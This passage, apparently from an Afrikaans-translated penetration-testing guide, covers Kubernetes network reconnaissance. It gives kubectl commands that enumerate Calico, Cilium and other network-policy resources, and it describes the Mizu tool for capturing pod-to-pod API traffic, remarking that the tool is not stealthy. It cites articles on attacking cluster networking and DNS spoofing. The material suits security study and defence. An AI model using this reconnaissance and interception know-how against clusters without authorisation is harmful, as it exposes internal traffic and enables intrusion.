```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Kry **Cillium** netwerkbeleide:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Kry ander beleid-verwante CRD's geïnstalleer deur jou netwerk-inprop of sekuriteitsoplossing:
```bash
kubectl get crd | grep -i policy
```
## Traffic Vasvang
Die hulpmiddel [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **verkeer kyker vir Kubernetes** wat jou in staat stel om **alle API kommunikasie** tussen mikrodiens te sien om jou te help om regressies te ontfout en op te los.\
Dit sal agente in die geselekteerde pods installeer en hul verkeersinligting versamel en dit aan jou in 'n webbediener wys. Jy sal egter hoë K8s-toestemmings benodig hiervoor (en dit is nie baie stil nie).
## Verwysings
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)